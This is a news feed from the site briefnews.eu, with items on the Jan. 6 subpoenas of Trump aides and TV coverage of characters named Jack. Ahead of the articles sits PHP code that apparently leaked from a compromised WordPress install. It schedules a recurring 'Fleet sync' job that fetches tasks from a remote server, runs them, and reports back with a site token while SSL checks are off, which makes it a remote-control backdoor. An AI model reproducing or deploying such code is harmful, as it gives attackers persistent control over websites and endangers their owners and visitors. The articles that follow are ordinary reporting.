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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Jack – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 10 Sep 2022 04:03:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Jack – Brief News https://briefnews.eu 32 32 Stephen Miller and Brian Jack, top Trump aides, were among more than a dozen people subpoenaed for DOJ’s expansive Jan. 6 investigation: NYT report https://briefnews.eu/stephen-miller-and-brian-jack-top-trump-aides-were-among-more-than-a-dozen-people-subpoenaed-for-dojs-expansive-jan-6-investigation-nyt-report/ https://briefnews.eu/stephen-miller-and-brian-jack-top-trump-aides-were-among-more-than-a-dozen-people-subpoenaed-for-dojs-expansive-jan-6-investigation-nyt-report/#respond Sat, 10 Sep 2022 04:03:13 +0000 https://briefnews.eu/stephen-miller-and-brian-jack-top-trump-aides-were-among-more-than-a-dozen-people-subpoenaed-for-dojs-expansive-jan-6-investigation-nyt-report/ Stephen Miller and Brian Jack.
Stephen Miller, right, and Brian Jack, left, are among more than a dozen people who were subpoenaed this week by a federal grand jury.

Andrew Harnik and Alex Brandon/AP

  • The DOJ currently has a broad investigation into the events around January 6, 2021.
  • Among the DOJ's interests are Donald Trump's PAC and the plot to overturn the 2020 vote.
  • Stephen Miller and Brian Jack, Trump advisors, were among more than a dozen subpoenaed this week, per NYT.

Two top former Trump advisors were subpoenaed this week as part of the Justice Department's expansive investigation into the events around the January 6 Capitol Riot and beyond, according to The New York Times.

Stephen Miller, a senior policy advisor during the Trump White House, and Brian Jack, Trump's political director, were among more than a dozen people in the former president's circle who were subpoenaed by a federal grand jury this week, The Times reported.

Miller and Jack did not immediately respond to a request for comment.

The subpoenas appear to seek information on Trump's main fundraising operation, Save America, which was formed after the 2020 election, and the alleged plot to overturn the 2020 vote by sending a slate of fake electors to contested states, per The Times.

On Thursday, The Times also reported that the DOJ is looking into the PAC based on about a half a dozen subpoenas to lower-level former Trump aides, including Nicholas Luna and Ivanka Trump's chief of staff, Julie Radford. It remains unclear why exactly the PAC is being investigated and how it might relate to the Capitol riot

The subpoenas for Miller and Jack are also related to the Trump PAC as well as the 2020 electors scheme, per The Times.

On top of the ongoing probe of Trump's handling of official government records, the DOJ is investigating the Capitol breach, any obstruction of that investigation, and the fake electors plot.

Miller was subpoenaed by the House select committee investigating January 6 for his phone records earlier this year. The advisor filed a suit to block the subpoena, CNN reported. He previously sat for a deposition with the panel.

Jack, who still advises Trump, was also subpoenaed by the committee last year.

So far, at least 40 members of Trump's circle are publicly known to have cooperated with federal and congressional investigators.

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But could this near-death experience accelerate the couple’s relationship plans?

“I don’t know if Mel is ready for that,” said Breckenridge. 

“Here’s the thing, the seasons take place in such a short period of time right? Each season is only around a month, a month in a half or so. So really, by season three, you will only be a couple of months into their relationship,” added the actress. 

Henderson agreed, saying: “Jack’s not really the marrying type, is he? He’s managed to avoid that set of circumstances. He’s kept Charmaine at arm’s length for two years and this is unsure territory for him.”

Virgin River season 2 is available to stream on Netflix.

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]]> https://briefnews.eu/virgin-river-season-3-jack-to-admit-to-charmaine-kiss-as-star-drops-hint-to-fuel-theory/feed/ 0 NCIS season 18 spoilers: The 4 most convincing theories for how Jack Sloane will leave https://briefnews.eu/ncis-season-18-spoilers-the-4-most-convincing-theories-for-how-jack-sloane-will-leave/ https://briefnews.eu/ncis-season-18-spoilers-the-4-most-convincing-theories-for-how-jack-sloane-will-leave/#respond Tue, 22 Dec 2020 02:32:47 +0000 https://briefnews.eu/ncis-season-18-spoilers-the-4-most-convincing-theories-for-how-jack-sloane-will-leave/

Jack Sloane (played by Maria Bello) has proven herself to be a popular character both on-screen and off with the Forensic Psychologist winning over NCIS fans and the show’s leading man Gibbs (Mark Harmon). Sadly, however, after three and half years on the show, actor Bello has decided to call it a day on the CBS drama, meaning at some point in season 18, Jack Sloane will be saying her goodbyes. It’s still anyone’s guess exactly as to how she’ll be leaving, however, with theories ranging from a gruesome death to an adorable family reunion. Read on for the most convincing theories.

Sloane reunites with daughter Faith

Back in season 17, NCIS fans were given a rare insight into Sloane’s history and the heartbreaking story involving her daughter Faith (Kate Hamilton). 

After Faith had tracked her biological mother down, Sloane bravely opened up about how she fell pregnant as a result of a harrowing sexual assault prior. 

With the truth out in the open, fans were left in tears as the pair shared an embrace and appeared to rekindle their mother-daughter bond.

While Faith hasn’t popped back into the NCIS universe since season 17, a number of fans have voiced the theory that she could play a huge part in seeing her mother bid farewell to Gibbs and co.

READ MORE: NCIS star Maria Bello leaves fans in tears with Sloane exit message

Taking to Reddit, one NCIS fan under a discussion posed by user gp-mr suggested: “It could be as simple as her daughter’s moving to another state and she wants to be near her, so she’s moving.”

And the theory soon received the backing of others, with another user replying: “I bet it has something to do with her daughter.”

So could Sloane’s aims to spend time with her family be behind her exit?

Sloane dies

The theory no NCIS fan wants to see come to light would be Sloane leaving the show in a body bag.

What’s more fitting for a strong character in the world of TV than a shocking death? And how else will they bring Sloane and Gibbs’ romance plot to a definitive close if not by taking Sloane out of the picture completely?

Some fans have also pointed out that a recurring theme among some of Gibbs’ love interests is that they end up meeting a rather brutal demise.

Fans only have to think back to Caitlin Todd (Sasha Alexander) and the gruesome circumstances which led to her exit.

A blast from the past forces Sloane on the run

As mentioned earlier, a lot of Sloane’s past had been kept relatively under wraps until her daughter Faith popped up in her life.

But what if it isn’t actually Faith who forces Sloane to say her goodbyes but rather someone else from her history?

In the aforementioned interview with TV Line, the show’s executive producer also dropped the hint that “we’re going to dive into some of that history, for sure,” when it came to Sloane’s final scenes.

So if it’s not Faith who returns to dredge up Sloane’s “history” – could it be someone else?

And there’s no saying that it will be a welcome blast from the past who could force Sloane’s hand in her final moments.

Sloane leaves with Gibbs

Arguably the most unlikely but not exactly unfeasible theory could see Sloane leave the series hand in hand with its leading star Gibbs.

The two have been forming a bond for a number of seasons now and many tipped season 18 to finally be the moment they sealed the deal.

In fact, during a Q&A on Instagram last month, Torres and Bishop stars Wilmer Valderrama and Emily Wickersham hinted the romance is “percolating” – in other words, getting there.

And with Gibbs not getting any younger and having been a mainstay for almost two decades, it’s not unlikely he may be thinking of putting his feet up – but will it be with Sloane?

NCIS season 18 returns to CBS in January 2021.

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]]> https://briefnews.eu/ncis-season-18-spoilers-the-4-most-convincing-theories-for-how-jack-sloane-will-leave/feed/ 0 Pennyworth’s Jack Bannon Previews Alfred’s Season 2 Plan, His Patricidal Guilt and James Purefoy’s ‘Dark’ Role https://briefnews.eu/pennyworths-jack-bannon-previews-alfreds-season-2-plan-his-patricidal-guilt-and-james-purefoys-dark-role/ https://briefnews.eu/pennyworths-jack-bannon-previews-alfreds-season-2-plan-his-patricidal-guilt-and-james-purefoys-dark-role/#respond Sat, 12 Dec 2020 13:28:54 +0000 https://briefnews.eu/pennyworths-jack-bannon-previews-alfreds-season-2-plan-his-patricidal-guilt-and-james-purefoys-dark-role/

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Alfred Pennyworth has his sights set on America — but first, he and his mates will have to navigate all sorts of civil strife in England, while juggling the very odd job to pay for their passage.

When last we tuned in, the titular former British SAS soldier (played by Jack Bannon) had to gun down his own dad, Arthur — a secret member of the government-overthrowing Raven Society — though the tragic trigger-pulling proved fruitless in foiling a mad bomber plot targeting British bigwigs.

Elsewhere, American CIA agent Thomas Wayne (Ben Aldridge) was shot through the window by a sniper, just as he and fellow No Name League member Martha Kane (Emma Paetz) were taking their very first small step towards one day conceiving a Batman.

Epix’s “Batman prequel” kicks off Season 2 this Sunday, Dec. 13 at 9/8c, with a second episode following on Dec. 20. The two-part midseason finale then airs on Dec. 27, with the remaining episodes penciled in for sometime in 2021.

TVLine spoke with series lead Jack Bannon about what’s ahead.

TVLINE | How would you describe the new world order when Pennyworth returns?
Season 2 takes place one year on from Season 1, and civil war has fully kicked off. The Raven Society (led by Lord Harwood) is even more powerful — they’ve got the backing of the army now and are fully militarized. The No Names, meanwhile, are just kind of clinging on, really. The Raven Society has taken over most of England — London is a neutral zone, Soho specifically, where Alfred has a new nightclub. But really, Alfred is trying to come to terms with killing his father (Ian Puleston-Davies), and trying to get enough money together to get him, his mom (Dorothy Atkinson), Bazza (Hainsley Lloyd Bennett) and “Daveboy” (Ryan Fletcher) off to America to start fresh, because England is not in a good way.

TVLINE | With Alfred’s nightclub, The Delaney, there in the neutral zone, you’re basically Rick from Casablanca.
That’s it, yeah! “No guns, no violence, blah blah blah….” Yes.

TVLINE | What sort of jobs will we see Alfred and the boys take on? Whatever pays the bills?
Basically! Serving drinks in a nightclub doesn’t really pay as well as you’d think, so he’s got to think outside the box. But there are plenty of people who come out of the woodwork looking for his skills. Right from the off, we see him get involved classically in some scrapes.

TVLINE | You touched on this a moment ago, but shooting your own dad dead… that’s quite a thing. How does Alfred’s conflict over that manifest itself?
Obviously, many people never have to deal with that level of trauma, and that and [the murder of] Esme really derailed him. I think sometimes you have to do awful things for the greater good, and that’s the way he sees it. It’s more about the fallout and how his mum is coping, things like that. He’s trying to be almost “soldierly” about it and put it to one side mentally. But as the series goes on, we see it’s perhaps not that easy.

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TVLINE | James Purefoy (The Following) typically plays a most formidable TV character. How does Gulliver Troy (Alfie’s former SAS Captain) fit into Alfred’s world?
He sort of sliiiides in rather sneakily, and then stays — with a big bang. He’s a huge character, Captain Troy, a man of lots of deep desires and extremes, whether it be violence, women, drink…. He’s a dark character, Gully, but James is a fantastic actor, one that I’ve been aware of for many years, and I learned a lot from working with him. It’s almost a father/son relationship but a friend relationship. Alfred sees quite a lot of him in Troy, so he’s a great new addition.

Pennyworth SandraTVLINE | What’s up on the romantic front for Alfred? The Queen (Jessica Ellerby) seemed to quite fancy their snog, if I have my British slang right.
[Chuckles] Yeah, she’s interested, though I’m not sure how interested he is. I think he’s running scared. Sandra (Harriet Slater) is around —  she’s the resident singer in the nightclub, and she’s kind of becoming a pop star.  There are a few people milling about, but it’s all about Sandra, really. Their relationship carries on.

TVLINE | I thought it was funny that Esme, meaning Emma Corwin, went on to become Princess Diana (on The Crown).
Yeah! We knew that was going to happen. I think they allowed us to have her [for the first episodes of Season 1]. I think it was that way around insead of the other way.

Pennyworth Season 2TVLINE | What will the Alfred/Thomas Wayne dynamic look like this year?
One of the clever things about Season 1 was it wasn’t a buddy-buddy thing. This year carries on that vein, though they do get closer, and Alfred does work for him on occasion….

TVLINE  | Would you say they share a professional respect?
Exactly. Alfred likes watching him squirm, and Thomas is a bit of a nobby kind of guy, so…. [Laughs] Alfred toys with him a bit. But yeah, their dynamic certainly blossoms a bit more this year.

TVLINE | Will Thomas become a talk-to for Alfred, where they open up to each other about things? Or is that Season 3?
Eventually. The thing is that with Thomas being a spy, Alfred doesn’t need to tell him anything, he already knows everything all the time – which is of great irritation to Alfred, because Thomas uses it against him, quite often!

Want scoop on Pennyworth, or for any other show? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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]]> https://briefnews.eu/pennyworths-jack-bannon-previews-alfreds-season-2-plan-his-patricidal-guilt-and-james-purefoys-dark-role/feed/ 0 Virgin River Boss Breaks Down Season 2 Finale’s Biggest Cliffhangers: What’s Next for Jack, Doc and More Favorites? https://briefnews.eu/virgin-river-boss-breaks-down-season-2-finales-biggest-cliffhangers-whats-next-for-jack-doc-and-more-favorites/ https://briefnews.eu/virgin-river-boss-breaks-down-season-2-finales-biggest-cliffhangers-whats-next-for-jack-doc-and-more-favorites/#respond Mon, 30 Nov 2020 00:18:26 +0000 https://briefnews.eu/virgin-river-boss-breaks-down-season-2-finales-biggest-cliffhangers-whats-next-for-jack-doc-and-more-favorites/

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Spoiler alert: We’re about to break down Virgin River‘s trio of Season 2 shockers. Haven’t finished watching? You know what to do.

If you spent your holiday weekend stuffing your eyeballs with all 10 episodes of Virgin River Season 2, you’re probably experiencing some strong emotions right now — fear, uncertainty and, of course, impatience.

Not only do we have to wait for the third season of Virgin River to find out what befalls our ill-fated favorites after Episode 10, but since Netflix hasn’t even technically renewed the romantic drama for another season, we’ll also have to wait for that. (Much like Mel and Jack’s relationship, the show itself is also kind of a slow-burn.)

Let’s start with Hope and Doc, who began the finale by deciding to throw an elaborate vow renewal ceremony, complete with a suspiciously wedding-like reception to follow. It was a long-overdue turn of events for the previously down-low lovers, which only made their final twist all the more heartbreaking. As they entered their home, where dozens of their closest friends were waiting to ambush them with a surprise re-engagement party, Doc began to tell Hope that he had some difficult news to share from a recent check-up. The partygoers drowned out any chance he might have had to elaborate, so we went to showrunner Sue Tenney to find out more.

“Doc has some stuff going on [next] season,” Tenney tells TVLine, referring to his new situation as “a complication that will challenge him and will challenge his relationship with Hope. He’s going to rise to the challenge, but it is a real complication for him, especially for him practicing medicine going forward. Will he be able to continue to do that? The clinic and town are his life, so we will seriously explore that.”

Meanwhile, Preacher accepted Jamie’s offer for a chef gig in San Francisco, but the arrival of two familiar faces threatened to derail his travel plans. Not only did Wes’ twin brother (?!) show up with a warning for  Preacher (“One way or another, she’s going to pay for what she did to my brother!”), but Paige/Michelle’s son Christopher also returned to Virgin River in the finale with a request for Preacher: “Can I stay with you?”

Once again, Tenney doesn’t want to give too much away, but she reminds fans one thing about Preacher as they theorize about his next moves: “If you watch the show, you know how that character is going to respond to a cull to duty.” (In other words, we haven’t seen the last of him. Not even close.)

Virgin River Season 2Naturally, we saved the biggest cliffhanger — Mel discovering Jack bleeding out on the floor of the bar from an apparent gunshot — for last. All Tenney can say is that a potential third season would “go through trying to figure out who shot Jack,” launching a mystery that could play out “over several seasons.” As for how long Jack will have to recover before the action picks up again, Tenney says we can expect “a larger time jump than we had between Seasons 1 and 2.”

Tell us: Did you enjoy your experience binge-watching Virgin River Season 2? Which of the cliffhangers will occupy the most space in your brain until we get word of a Season 3 renewal? Grade the finale and the season below, then drop a comment with your full review. 


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]]> https://briefnews.eu/virgin-river-boss-breaks-down-season-2-finales-biggest-cliffhangers-whats-next-for-jack-doc-and-more-favorites/feed/ 0 Virgin River Boss Explains Why She Waited to Go ‘There’ With Mel and Jack https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/ https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/#respond Sat, 28 Nov 2020 18:36:38 +0000 https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/

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Warning: We’re about to spoil Season 2, Episode 2 of Netflix’s Virgin River. Need to catch up? You know what to do.

Well, folks, it finally happened. After 12 episodes of Virgin River — plus nearly a full year of waiting between seasons — Mel Monroe and Jack Sheridan finally went to the bone zone. So as far as that relationship is concerned, the show is just called River now.

The big moment follows a blow-up argument between Mel and Jack at the end of Episode 2. Mel wants to get everything out in the open so that she and Jack can go back to the way things were, apologizing for leaving and returning without telling him. He accepts her apology, but the conflict lingers.

Mel storms out, but wouldn’t you know it, her car battery is dead. (Fate is clearly ‘shipping these two.) So Jack drives her back to her cabin, where they make out on the porch before proceeding to the not-suitable-for-younger-viewers portion of the evening. So, why didn’t this long-awaited romantic milestone come sooner?

“If you’ve read the books, you know that sex is a big part of the books,” showrunner Sue Tenney tells TVLine. “But I just didn’t feel that the first season was about that. I wanted to hold off.”

As for the scene itself, star Alexandra Breckenridge (aka Mel) appreciates that the moment remained “nice and tasteful” while still feeling romantic and satisfying. “Our show, I believe, is PG-14,” she says with a laugh, “so there aren’t a lot of body parts that are allowed to be shown. We also have a huge age range that watches, from younger viewers to older viewers, and I don’t think everybody wants to see a full True Blood-level sex scene. And I fully did a True Blood scene back in the day.”

In addition to turning Mel and Jack’s courtship into a considerably slower burn, Tenney says she also resisted the urge to jump forward in time between seasons. “We’re sticking to a shorter time frame here, which I haven’t done in other series I’ve worked on. But we were afraid we would miss some really great stuff between these characters.”

Tenney credits Netflix for being a “fantastic partner” in storytelling. “They weren’t trying to hurry us up, or to rush us to where we were going,” she says. “They let us tell the story, and as a storyteller, that’s like catnip.”

And before you even suggest that Virgin River author Robyn Carr might object to any of the show’s page-to-screen changes, Tenney assures TVLine that she and Carr have nothing but respect for one another.

“[Carr] watched Season 1 when everybody else got it, and she was the first phone call I got,” Tenney recalls. “She said she couldn’t be happier, she thought it was amazing and that she wishes she’d thought of some of those twists. It’s very important to honor the books and the book fans. We talk about that often.”

Were you satisfied by Mel and Jack’s long-awaited first night together? Drop a comment with your thoughts on the episode, as well as Virgin River‘s second season in general, below.

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]]> https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/feed/ 0 Doctor Who boss spills all on why Captain Jack was written out: ‘It’s hard to imagine’ https://briefnews.eu/doctor-who-boss-spills-all-on-why-captain-jack-was-written-out-its-hard-to-imagine/ https://briefnews.eu/doctor-who-boss-spills-all-on-why-captain-jack-was-written-out-its-hard-to-imagine/#respond Wed, 14 Oct 2020 04:11:16 +0000 https://briefnews.eu/doctor-who-boss-spills-all-on-why-captain-jack-was-written-out-its-hard-to-imagine/

Doctor Who has seen a range of celebrities come and go over time, as guest actors star in various scenes with their characters making a lasting impact on the Whoniverse and all who inhabit it. One prominent figure was Captain Jack Harkness (played by John Barrowman), who became a trusty side-kick to the Ninth and Tenth Doctors (Chris Eccleston and David Tennant).

And hopeful fans everywhere thought he might stick around for a bit longer when Rose Tyler (Billie Piper) revived him after he was shot and killed by a Dalek.

But the Time Agent soon disappeared and left team Tardis to it, and now we know why.

Show writer Russell T. Davies has suggested that if Barrowman had been available, his character Captain Jack may have starred in more episodes of Doctor Who’s third series, but his conflicting committments for the sci-fi spin-off Torchwood, raised issues.

READ MORE: Doctor Who season 13: Yaz to replace The Doctor?

Current show boss Chris Chibnall, was adamant that Jack would be a no show in the rest of series 12, confirming the disappointing news in a statement.

“You won’t see him again this series, I can categorically tell you that,” he told the Mirror.

But eager fans were quick to point out that this might not rule out Barrowman’s appearance in the special, which is technically not part of series 12.

Barrowman himself has expressed how keen he is to film alongside current Doctor Jodie Whittaker, the first female to play the established role.

“If I were asked back to be in an episode with Jodie, I’d love them to go on a big adventure with the team and with Jack,” he previously told Radio Times.

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]]> https://briefnews.eu/doctor-who-boss-spills-all-on-why-captain-jack-was-written-out-its-hard-to-imagine/feed/ 0 This Is Us’ Jack Damon Flash-Forward: Photos, Clues and Theories About the Future of Kate and Toby’s Rockstar Son https://briefnews.eu/this-is-us-jack-damon-flash-forward-photos-clues-and-theories-about-the-future-of-kate-and-tobys-rockstar-son/ https://briefnews.eu/this-is-us-jack-damon-flash-forward-photos-clues-and-theories-about-the-future-of-kate-and-tobys-rockstar-son/#respond Fri, 28 Feb 2020 15:21:21 +0000 https://briefnews.eu/this-is-us-jack-damon-flash-forward-photos-clues-and-theories-about-the-future-of-kate-and-tobys-rockstar-son/

This Is Us has a habit of unexpectedly flinging its audience into the future, tossing viewers into flash-forwards that depict the show’s beloved characters in unfamiliar situations but without explaining why or how they got there.

Because, after all, figuring out the why and how is the best part!

In the past, TVLine has gone deep on the flash-forward that involves Rebecca on what certainly seems like her deathbed. And now we’re turning our investigative gaze upon little Jack Damon, who’s not even a year old yet but who is already — thanks to the aforementioned time-jump device — a confirmed rockstar.

This week’s episode reiterated that fact, giving us a brief glimpse of young Jack’s childhood and adolescence via time spent in the family music studio. (Read a full recap.) Blake Stadnik, who plays the adult version of Kate and Toby’s son, appeared in just a few flashes at the end of the episode as Not a Baby, Not Yet a Rockstar Jack crafted some early tunes in the creative space his dad built for his mom.

So what better time to launch our close look at Baby Jack/Rockstar Jack’s flash-forward, which started in the Season 4 premiere and has popped up every now and then as the episodes unspool?

We’ve gathered all of the looks at Jack’s adult life in the gallery at right. This includes visuals, dialogue, clues and salient intel from interviews with the show’s stars and producers. We’ll update it when/if the show airs more of his flash-forward footage.

Flip through the gallery — or go to it directly here — then hit the comments section with any clues, theories or observations about Jack’s future that we might’ve missed!

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Three hard-to-handle events transpire in this week’s This Is Us: Randall enters therapy, Rebecca gets an official diagnosis for her declining mental state, and Madison gives some sound relationship advice.

Of the trio of developments, I’m the most shaken by Madison’s sudden conversion into someone with good ideas.* When the heck did that happen? Is it some magical byproduct of her tryst with Kevin? And while we’re on the topic of byproducts of trysts with Kevin, I’ll say it again: She’s totally going to turn out to be his preggo fiancé, isn’t she?

Read on for the highlights of “Clouds.” (And make sure to see what Sterling K. Brown had to say about Randall’s first time at therapy here.)

* Of course I’m kidding, but it’s gallows humor: Rebecca’s diagnosis is one of the worst things a human can hear, and it makes me so sad to even contemplate the suffering she and her family have ahead of them. Anyone else need a hug?

MAKING THE GRADE | In a flashback to when The Big Three were preteens, it’s Report Card Day. Kate is bumming because her first boyfriend just broke up with her. Randall is obsessing about an A-minus. (“I’m putting too much time into Mathletes and not enough time into actual math,” he laments.) And Kevin’s grades are dismal — except for phys ed and art — and he’s not bothered; instead, he tells Rebecca to cough up a promised $ 5 for each A so he can buy baseball cards.

She reluctantly does, then allows him to tag along on her errands, but all he does is complain. “I wish you were more like Sophie’s mom. She’s fun,” he grouses, causing Rebecca to counter that she is too a “fun mom.” But the biggest evidence that she is not, indeed, a fun mom is that she allows him to shame her into taking him to the baseball-card store. There, he spends his newly acquired dough on the remnants of a box of cards, in search of a specific card that will complete his collection: John Candelaria of the Toronto Blue Jays. He and Rebecca tear through a bunch of packs and finally find the card in question, then celebrate.

Meanwhile, Jack and Rebecca disagree on Randall: She thinks his anxiety (though that’s not what they’re calling it) is getting worse, but Jack says their son just needs to blow off steam. So he takes the kid to the track and introduces him to running, aka something he can do “until that worried feeling in the pit of your stomach goes away.” (Side note: I kind of love how Jack just laces up his sneakers while wearing his work pants and that sweater vest.) They do some laps around the oval.

Later, at home, Kate takes a break from moping after her breakup to listen to a sage, breakfast-related metaphor about her nascent love life: “First boyfriends are kind of like first waffles,” Jack explains after reminding her how he often has to toss the first couple every time he fires up the iron. “You have to kind of get through a few until you get it right.”

this-is-us-recap-season-4-episode-15-clouds-ANALYZE THIS | In the present, at home in Philadelphia, Beth notes that Randall isn’t as chill as she thought he might be after a weekend at the cabin with his siblings. (Side note: She has been around when the three of them spend more than five minutes together, yes?) But the councilman is preoccupied: Rebecca is getting her MRI results in California that afternoon, and he’s got his first therapy appointment that day. Beth is proud. “This is a big step,” she beams, but he says it’s not a big deal.

When Randall arrives at his therapist’s office for the first time, he’s irked that there are no cups at the water cooler. He doesn’t like the art she’s chosen to hang on her walls. And he can’t stand that her coffee maker keeps hissing when drops of the brew hit the sizzling hotplate. He’s anxious and nervous in a way that we haven’t seen very often, but he pulls out all the Randall stops in order to try to control the situation. He dad-jokes. (“So how we doing this, Doc? Is it Good Will Hunting or The Sopranos?”) He downplays his condition, noting that “maybe once every decade things get too overwhelming.” He’s very specific that he’s looking for some coping mechanisms and then he’ll be outta her hair.

The scene is shot from the therapist’s point of view, so we hear — but do not see — her. When Randall launches into his origin story, she cuts him off and mentions that she’s heard his political speeches and knows about his adoption and the fact that he’s a public servant. This makes Randall combative (“It’s like you Googled me,” he says, jaw tight. “Isn’t that against the rules?”) When she asks about his relationship with his mother, things get really rough: Randall angrily says therapy is a “waste of time” and asserts that the entire Pearson family would’ve fallen apart years ago without him. “Would they?” the doctor wonders… and that’s it: Randall storms out, shutting off the offending coffeemaker in his exit.

Back at home, Randall informs Beth that he’s done with introspection, thank you very much. “I know you think I need this,” he starts, but she cuts him off: “Babe, I need this.” She goes on to explain that she’s been carrying pepper spray and taking sleeping pills to make herself feel better after the break-in, but she didn’t share that with him “because I was worried if I laid anything else on you, you were gonna crack.” And unless he gets the help he needs, she can’t tell him what’s really going on in her mind.

The next time we see Randall, he’s back at therapy. (Oh, by the way: That’s Better Things‘ Pamela Adlon playing his therapist.)

this-is-us-recap-season-4-episode-15-clouds-ROCKSTAR JACK IS BACK! | When Kate and Toby finally have a chance to talk after she returns from the cabin, he apologizes for everything he said and calls his weekend with Jack “a godsend.” And in typical Pearson- and Pearson-adjacent fashion, he attempts to make up for his idiocy with a gigantic gesture. This time, it’s making the shed behind the house into a recording studio for Kate… well, mocking it up to look like one, with cardboard boxes standing in for speakers and such. He explains that he’ll replace the fake equipment with real stuff, but Kate interrupts: She appreciates the gesture, but she’s going to need more time to be OK with everything that’s happened.

Just then, Madison texts: She wants to get together for a “Sorry I Shtupped Your Brother” brunch. The meal starts off chilly, but Madison’s earnest apology (and her vows to “Kill Bill” Toby, LadyKryptonite and anyone else who hurt Kate) eventually thaws Kate’s iciness. Madison also plays a thoughtful devil’s advocate when it comes to Kate’s current marital strife: Maybe the music-studio gesture isn’t empty, she suggests, because “is it possible he just took whatever you said to heart?” Madison adds that part of her hook-up with Kevin happened because she feels very comfortable around him; he’s seen her when she’s not at her best. Similarly, “Shouldn’t Toby be able to express his deepest fears without punishment?” Mads asks. “Isn’t that what marriage is?” (Don’t worry: She also spends some time referencing something Kev did to her that had her “literally upside down at one point,” so she hasn’t completely changed.)

Back at home, Kate tells Toby, “I love you, and I’m tired of the me-versus-you.” She asks him to show her the studio again, and is delighted when he points out an area she hadn’t seen before: a mini-music area, aka a “playroom devoted to sound,” for Jack. She happily thanks him. And at the end of the episode, we see a montage of Jack growing up in the studio, which eventually is where he gets his songwriting start.

this-is-us-recap-season-4-episode-15-clouds-THE BAD NEWS | Rebecca passes the time before getting her MRI results by going to a record store with Kevin. While listening to Joni Mitchell’s Clouds album, she remembers when she and Jack unsuccessfully tried to find Mitchell’s old house during their trip west back in the day. One query to Siri is all it takes to find the location now, so Mama Pearson and her son make their way out there. She tells him the story of how Graham Nash wrote “Our House” about a day he and Joni spent at the market and then at home. And because the self-named Carpe Diem Rebecca wants to live in the moment, she tries to talk Kevin into helping her skip her upcoming doctor’s appointment. But he gently says no, and pretty soon they’re sitting with Miguel while the doc gives them the bad news: Rebecca’s mild cognitive impairment likely is due to Alzheimer’s Disease.

Afterward, Rebecca asks Kevin not to treat her any diffrently. “I need the fun. I need the laughs,” she says, adding that she wants to go to the premiere of his movie.

Kevin swings by a baseball card store later that day, spends $ 2 on the Candelaria card he’d sought when he was a teenager, then slips it into his wallet.

Now it’s your turn. What did you think of the episode? Sound off in the comments!

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Suranne, 40, stars as landowner Anne Lister in the BBC period drama, based on the secret diaries written by the influential figure and developed for screen by series creator Sally Wainwright.

In the drama, Anne falls for Ann Walker (Sophie Rundle) during a time same-sex relationships were frowned upon.

At the beginning of this evening’s second episode, the landowner was seen paying a visit to Ann and began innocently flirting with the socialite.

The moment drew intrigue from viewers as they took to social media to voice their discern at the subject matter Anne was using in her attempts at courting.

After revealing she remembered meeting the landowner as a young girl, Ann sat down with visitor and the chemistry began to sizzle between the women.

Speaking about Ann’s sister living abroad with her three children, Suranne’s character commented: “What a delight!”

Ann told her visitor: “I am very fond of children. But I’m not sure that I’d want to…give birth,” to which Suranne’s character replied: “No, It’s not something I’ve ever felt compelled to do.

“I dissected a baby, once,” she continued, a confession which left Ann, and viewers at home, a little shocked by the remark.

Anne reassured the distressed socialite the baby was deceased but none the less, viewers took to Twitter to comment on the unusual courting technique.

One viewer posted: “Nothing like dissecting a baby to schmoose your way in. #GentlemanJack.”

 

Another posted: “Anne, don’t start flirting by talking about dissecting babies. It doesn’t work. I speak from experience. #GentlemanJack @BBCOne.”

A third remarked: “”I dissected a baby once” #GentlemanJack not something you hear everyday.”

Whilst a fourth added: “As chat up lines go… “I dissected a baby once…” needs a bit of work. Oh Anne! #GentlemanJack.”

Joining in on the flurry of comments over Anne’s confession, a fifth shared: “’I dissected a baby once’ well if that doesn’t win her over nothing will #GentlemanJack.”

The episode continued with the two women continuing to share secret moments as they discussed the motion of kissing a lover.

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